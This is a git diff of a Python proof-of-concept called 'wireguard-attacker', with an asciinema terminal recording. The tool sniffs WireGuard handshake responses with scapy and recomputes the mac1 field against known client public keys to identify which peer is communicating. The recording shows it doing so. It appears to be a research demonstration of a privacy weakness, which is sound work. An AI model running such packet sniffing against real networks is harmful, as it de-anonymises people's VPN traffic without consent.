diff --git a/wireguard-attacker/attack b/wireguard-attacker/attack index 906ed926725a6b2cd07a6e27a4d70ab3128cb0a8..919bbd6077b2c7fac30c6e88a5ed6a687d88c5a5 100755 --- a/wireguard-attacker/attack +++ b/wireguard-attacker/attack @@ -1,7 +1,7 @@ #!/usr/bin/env python import signal import sys -import hashlib +from hashlib import blake2s from base64 import b64decode from scapy.all import sniff, IP, UDP, Raw from binascii import hexlify @@ -16,6 +16,7 @@ def signal_handler(sig, frame): sys.exit(0) def split_packet(data): + # Initializinig packet if data[0] == 1: return { 'type': data[0], @@ -27,8 +28,10 @@ def split_packet(data): 'mac1': data[116:132], 'mac2': data[132:148], } + # Response packet if data[0] == 2: return { + 'message': data[0:60], 'type': data[0], 'reserved': data[1:4], 'sender': data[4:8], @@ -36,17 +39,15 @@ def split_packet(data): 'ephemeral': data[12:44], 'enc_empty': data[44:60], 'mac1': data[60:76], - 'mac2': data[76:92], - 'remaining': data[0:60] + 'mac2': data[76:92] } def compute_mac(client_pubkey, packet): - pubkey = b64decode(client_pubkey) + decoded_pubkey = b64decode(client_pubkey) - items = MAC_LABEL_CONST + pubkey - fingerprint = hashlib.blake2s(items, digest_size=32) - mac = hashlib.blake2s(packet, key=fingerprint.digest(), digest_size=16) + fingerprint = blake2s(MAC_LABEL_CONST + decoded_pubkey, digest_size=32) + mac = blake2s(packet, key=fingerprint.digest(), digest_size=16) return mac @@ -72,8 +73,8 @@ while True: packets = listen() response = packets[1] - c_mac1 = compute_mac(CLIENT_1_PUBKEY, response['remaining']) - c_mac2 = compute_mac(CLIENT_2_PUBKEY, response['remaining']) + c_mac1 = compute_mac(CLIENT_1_PUBKEY, response['message']) + c_mac2 = compute_mac(CLIENT_2_PUBKEY, response['message']) print() print('observed mac1 = ' + hexlify(response['mac1']).decode('utf-8')) diff --git a/wireguard-attacker/attack.cast b/wireguard-attacker/attack.cast new file mode 100644 index 0000000000000000000000000000000000000000..3c6d4bcd02c33eab093a8c969696c4cd5e805bb1 --- /dev/null +++ b/wireguard-attacker/attack.cast @@ -0,0 +1,73 @@ +{"version": 2, "width": 189, "height": 43, "timestamp": 1705577206, "env": {"SHELL": "/bin/bash", "TERM": "xterm-256color"}} +[0.005738, "o", "\u001b[?2004h"] +[0.006315, "o", "root@wireguard-attacker:/srv/wireguard-attacker# "] +[2.072371, "o", "s"] +[2.255803, "o", "o"] +[2.359792, "o", "u"] +[2.487682, "o", "r"] +[2.704193, "o", "c"] +[2.791792, "o", "e"] +[2.975674, "o", " "] +[4.007941, "o", "."] +[4.143923, "o", "v"] +[4.296192, "o", "e"] +[4.488204, "o", "n"] +[4.641016, "o", "v/"] +[5.223753, "o", "b"] +[5.392002, "o", "i"] +[5.479483, "o", "n"] +[5.576898, "o", "/"] +[5.792092, "o", "a"] +[5.943999, "o", "c"] +[6.129064, "o", "\u0007"] +[6.129117, "o", "tivate"] +[6.721053, "o", "\r\n"] +[6.721167, "o", "\u001b[?2004l\r"] +[6.724814, "o", "\u001b[?2004h"] +[6.725152, "o", "(.venv) root@wireguard-attacker:/srv/wireguard-attacker# "] +[8.040029, "o", "."] +[8.096036, "o", "/"] +[8.263937, "o", "a"] +[8.431795, "o", "t"] +[8.607992, "o", "t"] +[8.832485, "o", "ack "] +[9.512021, "o", "\r\n\u001b[?2004l\r"] +[9.767068, "o", "Press Ctrl+C to exit program"] +[9.767413, "o", "\r\n"] +[9.767691, "o", "\r\n"] +[13.461654, "o", "\r\n"] +[13.462141, "o", "observed mac1 = d087bfcdd795241a77c6c355eeacb314"] +[13.462389, "o", "\r\n"] +[13.462634, "o", "computed mac1 client1 = d087bfcdd795241a77c6c355eeacb314"] +[13.462842, "o", "\r\n"] +[13.463051, "o", "computed mac1 client2 = 0a23a6d10249c684ac51092720432f83"] +[13.463256, "o", "\r\n"] +[17.241609, "o", "\r\n"] +[17.24227, "o", "observed mac1 = 5bf00bd158a903fc250ea875895229cf"] +[17.242663, "o", "\r\n"] +[17.242909, "o", "computed mac1 client1 = 9fca70521d4746dcfc75e4dfe35f4d5e"] +[17.24319, "o", "\r\n"] +[17.24351, "o", "computed mac1 client2 = 5bf00bd158a903fc250ea875895229cf"] +[17.24385, "o", "\r\n"] +[19.045666, "o", "\r\n"] +[19.046229, "o", "observed mac1 = 0db9c08d8b8d0abec6c8c8213645117e"] +[19.046503, "o", "\r\n"] +[19.046802, "o", "computed mac1 client1 = a3cc503f25079e4d241aef0d2a6092da"] +[19.047087, "o", "\r\n"] +[19.047367, "o", "computed mac1 client2 = 0db9c08d8b8d0abec6c8c8213645117e"] +[19.047626, "o", "\r\n"] +[20.849485, "o", "\r\n"] +[20.849913, "o", "observed mac1 = 14b818aee23d42cc4cb9a606137a996a"] +[20.850111, "o", "\r\n"] +[20.850396, "o", "computed mac1 client1 = 14b818aee23d42cc4cb9a606137a996a"] +[20.850606, "o", "\r\n"] +[20.8508, "o", "computed mac1 client2 = 7ce2fa96ffa67de708a56a4f1bd2d7e7"] +[20.850971, "o", "\r\n"] +[22.856229, "o", "^C"] +[22.857165, "o", "You pressed Ctrl+C!"] +[22.857741, "o", "\r\n"] +[22.858106, "o", " Exiting"] +[22.858326, "o", "\r\n"] +[22.920645, "o", "\u001b[?2004h"] +[22.921142, "o", "(.venv) root@wireguard-attacker:/srv/wireguard-attacker# "] +[24.175889, "o", "\u001b[?2004l\r\r\nexit\r\n"]